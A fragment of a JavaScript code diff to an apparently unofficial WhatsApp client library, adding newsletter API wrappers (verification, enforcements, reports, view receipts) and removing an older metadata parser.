+ mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
646
+
647
+ /**
648
+ * Create a verified newsletter.
649
+ */
650
+ newsletterCreateVerified: async (name, description = null) =>
651
+ mexQuery(
652
+ { input: { name, description } },
653
+ Types.QueryIds.CREATE_VERIFIED,
654
+ Types.XWAPaths.xwa2_newsletter_create_verified
655
+ ),
656
+
657
+ /**
658
+ * Fetch newsletter enforcements (ban/restriction info).
659
+ */
660
+ newsletterEnforcements: async jid =>
661
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
662
+
663
+ /**
664
+ * Fetch user reports for a newsletter (admin action).
665
+ */
666
+ newsletterUserReports: async (jid, cursor = null) => {
667
+ const variables = { newsletter_id: jid }
668
+ if (cursor) variables.cursor = cursor
669
+ return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
670
+ },
671
+
672
+ /**
673
+ * Create a report appeal for a newsletter.
674
+ */
675
+ newsletterCreateReportAppeal: async (jid, reason) =>
676
+ mexQuery(
677
+ { newsletter_id: jid, reason },
678
+ Types.QueryIds.CREATE_REPORT_APPEAL,
679
+ Types.XWAPaths.xwa2_newsletter_create_report_appeal
680
+ ),
681
+
682
+ /**
683
+ * Check a newsletter link preview.
684
+ */
685
+ newsletterLinkPreviewCheck: async url =>
686
+ mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
687
+
688
+ /**
689
+ * Update newsletter verification status.
690
+ */
691
+ newsletterUpdateVerification: async (jid, verification) =>
692
+ mexQuery(
693
+ { newsletter_id: jid, verification },
694
+ Types.QueryIds.UPDATE_VERIFICATION,
695
+ Types.XWAPaths.xwa2_newsletter_update_verification
696
+ ),
697
+
698
+ /**
699
+ * Label a newsletter post as paid partnership.
700
+ */
701
+ newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
702
+ mexQuery(
703
+ { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
704
+ Types.QueryIds.LABEL_PAID_PARTNERSHIP,
705
+ Types.XWAPaths.xwa2_newsletter_label_paid_partnership
706
+ ),
707
+
708
+ /**
709
+ * Log newsletter exposure events (analytics).
710
+ */
711
+ newsletterLogExposures: async events =>
712
+ mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
713
+
714
+ /**
715
+ * Update user-specific newsletter setting.
716
+ */
717
+ newsletterUpdateUserSetting: async (jid, setting) =>
718
+ mexQuery(
719
+ { newsletter_id: jid,...setting },
720
+ Types.QueryIds.UPDATE_USER_SETTING,
721
+ Types.XWAPaths.xwa2_newsletter_update_user_setting
722
+ ),
723
+
724
+ /**
725
+ * Fetch newsletter ranking features (ML signals).
726
+ */
727
+ newsletterRankingFeatures: async jid =>
728
+ mexQuery(
729
+ { newsletter_id: jid },
730
+ Types.QueryIds.RANKING_FEATURES,
731
+ Types.XWAPaths.xwa2_newsletter_ranking_features
732
+ ),
733
+
734
+ /**
735
+ * Send view receipts for newsletter messages.
736
+ */
737
+ newsletterSendViewReceipt: async (jid, serverMessageIds) => {
738
+ const ids = Array.isArray(serverMessageIds)? serverMessageIds : [serverMessageIds]
739
+ const receiptId = generateMessageTag()
740
+ await query({
741
+ tag: 'receipt',
742
+ attrs: {
743
+ to: jid,
744
+ id: receiptId,
745
+ type: 'view'
236
746
  },
237
- newsletterFetchUpdates: async (jid, count, after, since) => {
238
- const result = await newsletterQuery(jid, 'get', [
239
- {
240
- tag: 'message_updates',
241
- attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
242
- }
243
- ]);
244
- return await parseFetchedUpdates(result, 'updates');
245
- }
246
- };
247
- };
248
-
249
- export const extractNewsletterMetadata = (node, isCreate) => {
250
- const result = getBinaryNodeChild(node, 'result')?.content?.toString();
251
- const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
252
- const metadata = {
253
- id: metadataPath.id,
254
- state: metadataPath.state.type,
255
- creation_time: +metadataPath.thread_metadata.creation_time,
256
- name: metadataPath.thread_metadata.name.text,
257
- nameTime: +metadataPath.thread_metadata.name.update_time,
258
- description: metadataPath.thread_metadata.description.text,
259
- descriptionTime: +metadataPath.thread_metadata.description.update_time,
260
- invite: metadataPath.thread_metadata.invite,
261
- handle: metadataPath.thread_metadata.handle,
262
- picture: metadataPath.thread_metadata.picture?.direct_path || null,
263
- preview: metadataPath.thread_metadata.preview?.direct_path || null,
264
- reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
265
- subscribers: +metadataPath.thread_metadata.subscribers_count,
266
- verification: metadataPath.thread_metadata.verification,
267
- viewer_metadata: metadataPath.viewer_metadata
268
- };
269
- return metadata;
270
- };
747
+ content: [
748
+ {
749
+ tag: 'list',
750
+ attrs: {},
751
+ content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
752
+ }
753
+ ]
754
+ })
755
+ }
756
+ }
757
+ }